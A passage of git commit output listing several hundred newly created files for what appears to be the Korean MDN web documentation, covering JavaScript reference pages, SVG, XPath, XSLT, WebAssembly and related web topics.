files/ko/web/javascript/reference/global_objects/math/sqrt/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/sqrt1_2/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/sqrt2/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/tan/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/tanh/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/trunc/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/nan/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/null/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/epsilon/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/isfinite/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/isinteger/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/isnan/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/issafeinteger/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/max_safe_integer/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/max_value/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/min_safe_integer/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/min_value/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/nan/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/negative_infinity/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/parsefloat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/parseint/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/positive_infinity/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/toexponential/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/tofixed/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/toprecision/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/tostring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/number/valueof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/__definegetter__/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/assign/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/constructor/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/create/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/defineproperties/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/defineproperty/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/entries/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/freeze/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/fromentries/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/getprototypeof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/hasownproperty/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/is/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/isextensible/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/isfrozen/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/isprototypeof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/issealed/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/observe/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/preventextensions/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/propertyisenumerable/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/seal/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/setprototypeof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/tolocalestring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/tostring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/valueof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/object/values/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/parsefloat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/parseint/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/all/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/allsettled/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/finally/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/promise/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/race/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/reject/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/resolve/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/promise/then/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/proxy/handler/apply/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/proxy/handler/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/proxy/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/rangeerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/referenceerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/apply/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/construct/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/defineproperty/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/deleteproperty/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/get/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/getprototypeof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/has/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/isextensible/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/ownkeys/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/preventextensions/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/set/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/reflect/setprototypeof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/regexp/exec/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/regexp/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/regexp/n/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/regexp/regexp/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/regexp/test/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/add/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/clear/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/delete/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/foreach/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/has/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/size/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/set/values/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/sharedarraybuffer/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/charat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/charcodeat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/concat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/endswith/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/fromcharcode/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/includes/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/indexof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/lastindexof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/length/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/localecompare/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/match/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/normalize/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/padend/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/padstart/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/repeat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/replace/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/search/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/slice/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/split/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/startswith/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/substr/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/substring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/tolowercase/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/tosource/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/tostring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/touppercase/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/trim/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/string/valueof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/symbol/for/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/symbol/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/symbol/iterator/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/syntaxerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/syntaxerror/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/@@iterator/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/buffer/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/bytelength/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/byteoffset/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/fill/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/indexof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/length/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/name/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/of/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/reverse/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/set/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/slice/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/some/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/sort/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typedarray/values/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/typeerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/undefined/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/uneval/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/weakmap/delete/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/weakmap/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/weakmap/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/weakset/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/weakset/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/compile/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/compileerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/global/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/global/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/instance/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/instantiate/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/linkerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/memory/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/module/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/runtimeerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/table/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/webassembly/validate/index.html create mode 100644 files/ko/web/javascript/reference/index.html create mode 100644 files/ko/web/javascript/reference/iteration_protocols/index.html create mode 100644 files/ko/web/javascript/reference/lexical_grammar/index.html create mode 100644 files/ko/web/javascript/reference/liveconnect/index.html create mode 100644 files/ko/web/javascript/reference/operators/addition/index.html create mode 100644 files/ko/web/javascript/reference/operators/arithmetic_operators/index.html create mode 100644 files/ko/web/javascript/reference/operators/assignment_operators/index.html create mode 100644 files/ko/web/javascript/reference/operators/async_function/index.html create mode 100644 files/ko/web/javascript/reference/operators/await/index.html create mode 100644 files/ko/web/javascript/reference/operators/bitwise_operators/index.html create mode 100644 files/ko/web/javascript/reference/operators/class/index.html create mode 100644 files/ko/web/javascript/reference/operators/comma_operator/index.html create mode 100644 files/ko/web/javascript/reference/operators/comparison_operators/index.html create mode 100644 files/ko/web/javascript/reference/operators/conditional_operator/index.html create mode 100644 files/ko/web/javascript/reference/operators/delete/index.html create mode 100644 files/ko/web/javascript/reference/operators/destructuring_assignment/index.html create mode 100644 files/ko/web/javascript/reference/operators/equality/index.html create mode 100644 files/ko/web/javascript/reference/operators/expression_closures/index.html create mode 100644 files/ko/web/javascript/reference/operators/function/index.html create mode 100644 files/ko/web/javascript/reference/operators/function_star_/index.html create mode 100644 files/ko/web/javascript/reference/operators/generator_comprehensions/index.html create mode 100644 files/ko/web/javascript/reference/operators/grouping/index.html create mode 100644 files/ko/web/javascript/reference/operators/in/index.html create mode 100644 files/ko/web/javascript/reference/operators/index.html create mode 100644 files/ko/web/javascript/reference/operators/instanceof/index.html create mode 100644 files/ko/web/javascript/reference/operators/new.target/index.html create mode 100644 files/ko/web/javascript/reference/operators/new/index.html create mode 100644 files/ko/web/javascript/reference/operators/nullish_coalescing_operator/index.html create mode 100644 files/ko/web/javascript/reference/operators/object_initializer/index.html create mode 100644 files/ko/web/javascript/reference/operators/optional_chaining/index.html create mode 100644 files/ko/web/javascript/reference/operators/pipeline_operator/index.html create mode 100644 files/ko/web/javascript/reference/operators/property_accessors/index.html create mode 100644 files/ko/web/javascript/reference/operators/remainder/index.html create mode 100644 files/ko/web/javascript/reference/operators/spread_syntax/index.html create mode 100644 files/ko/web/javascript/reference/operators/super/index.html create mode 100644 files/ko/web/javascript/reference/operators/this/index.html create mode 100644 files/ko/web/javascript/reference/operators/typeof/index.html create mode 100644 files/ko/web/javascript/reference/operators/void/index.html create mode 100644 files/ko/web/javascript/reference/operators/yield/index.html create mode 100644 files/ko/web/javascript/reference/operators/yield_star_/index.html create mode 100644 "files/ko/web/javascript/reference/operators/\353\205\274\353\246\254_\354\227\260\354\202\260\354\236\220(logical_operators)/index.html" create mode 100644 "files/ko/web/javascript/reference/operators/\353\260\260\354\227\264/index.html" create mode 100644 "files/ko/web/javascript/reference/operators/\354\227\260\354\202\260\354\236\220_\354\232\260\354\204\240\354\210\234\354\234\204/index.html" create mode 100644 files/ko/web/javascript/reference/statements/async_function/index.html create mode 100644 files/ko/web/javascript/reference/statements/block/index.html create mode 100644 files/ko/web/javascript/reference/statements/break/index.html create mode 100644 files/ko/web/javascript/reference/statements/class/index.html create mode 100644 files/ko/web/javascript/reference/statements/const/index.html create mode 100644 files/ko/web/javascript/reference/statements/continue/index.html create mode 100644 files/ko/web/javascript/reference/statements/debugger/index.html create mode 100644 files/ko/web/javascript/reference/statements/default/index.html create mode 100644 files/ko/web/javascript/reference/statements/do...while/index.html create mode 100644 files/ko/web/javascript/reference/statements/empty/index.html create mode 100644 files/ko/web/javascript/reference/statements/export/index.html create mode 100644 files/ko/web/javascript/reference/statements/for-await...of/index.html create mode 100644 files/ko/web/javascript/reference/statements/for...in/index.html create mode 100644 files/ko/web/javascript/reference/statements/for...of/index.html create mode 100644 files/ko/web/javascript/reference/statements/for/index.html create mode 100644 files/ko/web/javascript/reference/statements/for_each...in/index.html create mode 100644 files/ko/web/javascript/reference/statements/function/index.html create mode 100644 files/ko/web/javascript/reference/statements/function_star_/index.html create mode 100644 files/ko/web/javascript/reference/statements/if...else/index.html create mode 100644 files/ko/web/javascript/reference/statements/import/index.html create mode 100644 files/ko/web/javascript/reference/statements/index.html create mode 100644 files/ko/web/javascript/reference/statements/label/index.html create mode 100644 files/ko/web/javascript/reference/statements/let/index.html create mode 100644 files/ko/web/javascript/reference/statements/return/index.html create mode 100644 files/ko/web/javascript/reference/statements/switch/index.html create mode 100644 files/ko/web/javascript/reference/statements/throw/index.html create mode 100644 files/ko/web/javascript/reference/statements/try...catch/index.html create mode 100644 files/ko/web/javascript/reference/statements/var/index.html create mode 100644 files/ko/web/javascript/reference/statements/while/index.html create mode 100644 files/ko/web/javascript/reference/statements/with/index.html create mode 100644 files/ko/web/javascript/reference/strict_mode/index.html create mode 100644 files/ko/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html create mode 100644 files/ko/web/javascript/reference/template_literals/index.html create mode 100644 files/ko/web/javascript/reference/trailing_commas/index.html create mode 100644 files/ko/web/javascript/typed_arrays/index.html create mode 100644 "files/ko/web/javascript/\354\211\230/index.html" create mode 100644 "files/ko/web/javascript/\354\213\234\354\236\221\355\225\230\352\270\260/index.html" create mode 100644 "files/ko/web/javascript/\354\226\270\354\226\264_\353\246\254\354\206\214\354\212\244/index.html" create mode 100644 files/ko/web/manifest/index.html create mode 100644 files/ko/web/mathml/index.html create mode 100644 files/ko/web/media/autoplay_guide/index.html create mode 100644 files/ko/web/media/formats/index.html create mode 100644 "files/ko/web/media/formats/\353\271\204\353\224\224\354\230\244\354\275\224\353\215\261/index.html" create mode 100644 "files/ko/web/media/formats/\354\273\250\355\205\214\354\235\264\353\204\210/index.html" create mode 100644 "files/ko/web/media/formats/\354\275\224\353\215\261\355\214\214\353\235\274\353\257\270\355\204\260/index.html" create mode 100644 files/ko/web/media/index.html create mode 100644 files/ko/web/performance/index.html create mode 100644 "files/ko/web/performance/\353\270\214\353\235\274\354\232\260\354\240\200\353\212\224_\354\226\264\353\226\273\352\262\214_\353\217\231\354\236\221\355\225\230\353\212\224\352\260\200/index.html" create mode 100644 "files/ko/web/performance/\354\244\221\354\232\224_\353\240\214\353\215\224\353\247\201_\352\262\275\353\241\234/index.html" create mode 100644 files/ko/web/progressive_web_apps/add_to_home_screen/index.html create mode 100644 files/ko/web/progressive_web_apps/app_structure/index.html create mode 100644 files/ko/web/progressive_web_apps/index.html create mode 100644 files/ko/web/progressive_web_apps/installable_pwas/index.html create mode 100644 files/ko/web/progressive_web_apps/offline_service_workers/index.html create mode 100644 files/ko/web/progressive_web_apps/re-engageable_notifications_push/index.html create mode 100644 "files/ko/web/progressive_web_apps/\354\206\214\352\260\234/index.html" create mode 100644 files/ko/web/security/index.html create mode 100644 files/ko/web/security/insecure_passwords/index.html create mode 100644 files/ko/web/security/same-origin_policy/index.html create mode 100644 files/ko/web/security/transport_layer_security/index.html create mode 100644 "files/ko/web/security/\354\240\225\353\263\264_\353\263\264\354\225\210_\352\270\260\353\263\270/index.html" create mode 100644 "files/ko/web/security/\354\240\225\353\263\264_\353\263\264\354\225\210_\352\270\260\353\263\270/\354\267\250\354\225\275\354\240\220/index.html" create mode 100644 files/ko/web/svg/applying_svg_effects_to_html_content/index.html create mode 100644 files/ko/web/svg/attribute/calcmode/index.html create mode 100644 files/ko/web/svg/attribute/cx/index.html create mode 100644 files/ko/web/svg/attribute/d/index.html create mode 100644 files/ko/web/svg/attribute/index.html create mode 100644 files/ko/web/svg/attribute/keytimes/index.html create mode 100644 files/ko/web/svg/attribute/values/index.html create mode 100644 files/ko/web/svg/attribute/version/index.html create mode 100644 files/ko/web/svg/attribute/viewbox/index.html create mode 100644 files/ko/web/svg/element/a/index.html create mode 100644 files/ko/web/svg/element/altglyph/index.html create mode 100644 files/ko/web/svg/element/circle/index.html create mode 100644 files/ko/web/svg/element/ellipse/index.html create mode 100644 files/ko/web/svg/element/index.html create mode 100644 "files/ko/web/svg/element/\354\202\254\352\260\201\355\230\225/index.html" create mode 100644 files/ko/web/svg/index.html create mode 100644 files/ko/web/svg/tutorial/index.html create mode 100644 files/ko/web/svg/tutorial/introduction/index.html create mode 100644 files/ko/web/svg/tutorial/paths/index.html create mode 100644 files/ko/web/svg/tutorial/patterns/index.html create mode 100644 files/ko/web/svg/tutorial/svg_image_tag/index.html create mode 100644 files/ko/web/svg/tutorial/svg_in_html_introduction/index.html create mode 100644 "files/ko/web/svg/tutorial/\352\270\260\353\263\270_\353\217\204\355\230\225/index.html" create mode 100644 "files/ko/web/svg/tutorial/\354\213\234\354\236\221\355\225\230\352\270\260/index.html" create mode 100644 "files/ko/web/svg/tutorial/\354\234\204\354\271\230/index.html" create mode 100644 files/ko/web/tutorials/index.html create mode 100644 files/ko/web/web_components/index.html create mode 100644 files/ko/web/web_components/using_custom_elements/index.html create mode 100644 files/ko/web/web_components/using_shadow_dom/index.html create mode 100644 files/ko/web/xml/index.html create mode 100644 files/ko/web/xml/xml_introduction/index.html create mode 100644 files/ko/web/xpath/axes/ancestor-or-self/index.html create mode 100644 files/ko/web/xpath/axes/ancestor/index.html create mode 100644 files/ko/web/xpath/axes/attribute/index.html create mode 100644 files/ko/web/xpath/axes/child/index.html create mode 100644 files/ko/web/xpath/axes/descendant-or-self/index.html create mode 100644 files/ko/web/xpath/axes/descendant/index.html create mode 100644 files/ko/web/xpath/axes/following-sibling/index.html create mode 100644 files/ko/web/xpath/axes/following/index.html create mode 100644 files/ko/web/xpath/axes/index.html create mode 100644 files/ko/web/xpath/axes/namespace/index.html create mode 100644 files/ko/web/xpath/axes/parent/index.html create mode 100644 files/ko/web/xpath/axes/preceding-sibling/index.html create mode 100644 files/ko/web/xpath/axes/preceding/index.html create mode 100644 files/ko/web/xpath/axes/self/index.html create mode 100644 files/ko/web/xpath/functions/boolean/index.html create mode 100644 files/ko/web/xpath/functions/ceiling/index.html create mode 100644 files/ko/web/xpath/functions/concat/index.html create mode 100644 files/ko/web/xpath/functions/contains/index.html create mode 100644 files/ko/web/xpath/functions/count/index.html create mode 100644 files/ko/web/xpath/functions/current/index.html create mode 100644 files/ko/web/xpath/functions/document/index.html create mode 100644 files/ko/web/xpath/functions/element-available/index.html create mode 100644 files/ko/web/xpath/functions/false/index.html create mode 100644 files/ko/web/xpath/functions/floor/index.html create mode 100644 files/ko/web/xpath/functions/format-number/index.html create mode 100644 files/ko/web/xpath/functions/function-available/index.html create mode 100644 files/ko/web/xpath/functions/generate-id/index.html create mode 100644 files/ko/web/xpath/functions/id/index.html create mode 100644 files/ko/web/xpath/functions/index.html create mode 100644 files/ko/web/xpath/functions/key/index.html create mode 100644 files/ko/web/xpath/functions/lang/index.html create mode 100644 files/ko/web/xpath/functions/last/index.html create mode 100644 files/ko/web/xpath/functions/local-name/index.html create mode 100644 files/ko/web/xpath/functions/name/index.html create mode 100644 files/ko/web/xpath/functions/namespace-uri/index.html create mode 100644 files/ko/web/xpath/functions/normalize-space/index.html create mode 100644 files/ko/web/xpath/functions/not/index.html create mode 100644 files/ko/web/xpath/functions/number/index.html create mode 100644 files/ko/web/xpath/functions/position/index.html create mode 100644 files/ko/web/xpath/functions/round/index.html create mode 100644 files/ko/web/xpath/functions/starts-with/index.html create mode 100644 files/ko/web/xpath/functions/string-length/index.html create mode 100644 files/ko/web/xpath/functions/string/index.html create mode 100644 files/ko/web/xpath/functions/substring-after/index.html create mode 100644 files/ko/web/xpath/functions/substring-before/index.html create mode 100644 files/ko/web/xpath/functions/substring/index.html create mode 100644 files/ko/web/xpath/functions/sum/index.html create mode 100644 files/ko/web/xpath/functions/system-property/index.html create mode 100644 files/ko/web/xpath/functions/translate/index.html create mode 100644 files/ko/web/xpath/functions/true/index.html create mode 100644 files/ko/web/xpath/functions/unparsed-entity-url/index.html create mode 100644 files/ko/web/xpath/index.html create mode 100644 files/ko/web/xslt/apply-imports/index.html create mode 100644 files/ko/web/xslt/apply-templates/index.html create mode 100644 files/ko/web/xslt/attribute-set/index.html create mode 100644 files/ko/web/xslt/attribute/index.html create mode 100644 files/ko/web/xslt/call-template/index.html create mode 100644 files/ko/web/xslt/choose/index.html create mode 100644 files/ko/web/xslt/comment/index.html create mode 100644 files/ko/web/xslt/copy-of/index.html create mode 100644 files/ko/web/xslt/copy/index.html create mode 100644 files/ko/web/xslt/decimal-format/index.html create mode 100644 files/ko/web/xslt/element/element/index.html create mode 100644 files/ko/web/xslt/element/index.html create mode 100644 files/ko/web/xslt/fallback/index.html create mode 100644 files/ko/web/xslt/for-each/index.html create mode 100644 files/ko/web/xslt/if/index.html create mode 100644 files/ko/web/xslt/import/index.html create mode 100644 files/ko/web/xslt/include/index.html create mode 100644 files/ko/web/xslt/index.html create mode 100644 files/ko/web/xslt/key/index.html create mode 100644 files/ko/web/xslt/message/index.html create mode 100644 files/ko/web/xslt/namespace-alias/index.html create mode 100644 files/ko/web/xslt/number/index.html create mode 100644 files/ko/web/xslt/otherwise/index.html create mode 100644 files/ko/web/xslt/output/index.html create mode 100644 files/ko/web/xslt/param/index.html create mode 100644 files/ko/web/xslt/preserve-space/index.html create mode 100644 files/ko/web/xslt/processing-instruction/index.html create mode 100644 files/ko/web/xslt/sort/index.html create mode 100644 files/ko/web/xslt/strip-space/index.html create mode 100644 files/ko/web/xslt/stylesheet/index.html create mode 100644 files/ko/web/xslt/template/index.html create mode 100644 files/ko/web/xslt/text/index.html create mode 100644 files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/index.html create mode 100644 files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/introduction/index.html create mode 100644 files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/setting_parameters/index.html create mode 100644 files/ko/web/xslt/transform/index.html create mode 100644 files/ko/web/xslt/transforming_xml_with_xslt/index.html create mode 100644 files/ko/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html create mode 100644 files/ko/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.html create mode 100644 files/ko/web/xslt/value-of/index.html create mode 100644 files/ko/web/xslt/variable/index.html create mode 100644 files/ko/web/xslt/when/index.html create mode 100644 files/ko/web/xslt/with-param/index.html create mode 100644 "files/ko/web/\354\260\270\354\241\260/api/index.html" create mode 100644 "files/ko/web/\354\260\270\354\241\260/index.html" create mode 100644 files/ko/web_development/index.html create mode 100644 files/ko/webapi/alarm/index.html create mode 100644 files/ko/webapi/battery_status/index.html create mode 100644 files/ko/webapi/contacts/index.html create mode 100644 files/ko/webapi/detecting_device_orientation/index.html create mode 100644 files/ko/webapi/idle/index.html create mode 100644 files/ko/webapi/index.html create mode 100644 files/ko/webapi/managing_screen_orientation/index.html create mode 100644 files/ko/webapi/network_information/index.html create mode 100644 files/ko/webapi/power_management/index.html create mode 100644 files/ko/webapi/proximity/index.html create mode 100644 files/ko/webapi/simple_push/index.html create mode 100644 files/ko/webapi/time_and_clock/index.html create mode 100644 files/ko/webapi/using_geolocation/index.html create mode 100644 files/ko/webapi/using_light_events/index.html create mode 100644 files/ko/webapi/using_web_notifications/index.html create mode 100644 files/ko/webapi/webfm_api/index.html create mode 100644 files/ko/webapi/websms/index.html create mode 100644 files/ko/webapi/websms/introduction_to_mobile_message_api/introduction_to_websms/index.html create mode 100644 files/ko/webassembly/c_to_wasm/index.html create mode 100644 files/ko/webassembly/caching_modules/index.html create mode 100644 files/ko/webassembly/concepts/index.html create mode 100644 files/ko/webassembly/existing_c_to_wasm/index.html create mode 100644 files/ko/webassembly/exported_functions/index.html create mode 100644 files/ko/webassembly/index.html create mode 100644 files/ko/webassembly/loading_and_running/index.html create mode 100644 files/ko/webassembly/rust_to_wasm/index.html create mode 100644 files/ko/webassembly/text_format_to_wasm/index.html create mode 100644 files/ko/webassembly/understanding_the_text_format/index.html create mode 100644 files/ko/webassembly/using_the_javascript_api/index.html create mode 100644 files/ko/websockets/index.html create mode 100644 files/ko/websockets/writing_websocket_client_applications/index.html create mode 100644 files/ko/websockets/writing_websocket_servers/index.html create mode 100644 files/ko/windows_and_menus_in_xulrunner/index.html create mode 100644 files/ko/xforms/index.html create mode 100644 files/ko/xhtml/index.html create mode 100644 files/ko/xml_web_services/index.html create mode 100644 files/ko/xmlhttprequest_changes_for_gecko1.8/index.html create mode 100644 files/ko/xpcom/index.html create mode 100644 files/ko/xpcom/setting_http_request_headers/index.html create mode 100644 files/ko/xpcom/the_thread_manager/index.html create mode 100644 files/ko/xpcom_interface_reference/index.html create mode 100644 files/ko/xpconnect/index.html create mode 100644 files/ko/xpconnect/using_components/index.html create mode 100644 files/ko/xpi/index.html create mode 100644 files/ko/xpinstall/index.html create mode 100644 files/ko/xpinstall_api_reference/index.html create mode 100644 files/ko/xpinstall_api_reference/install_object/index.html create mode 100644 files/ko/xpinstall_api_reference/install_object/properties/index.html create mode 100644 files/ko/xpinstall_api_reference/return_codes/index.html create mode 100644 files/ko/xslt_in_gecko/basic_example/index.html create mode 100644 files/ko/xslt_in_gecko/browser_differences/index.html create mode 100644 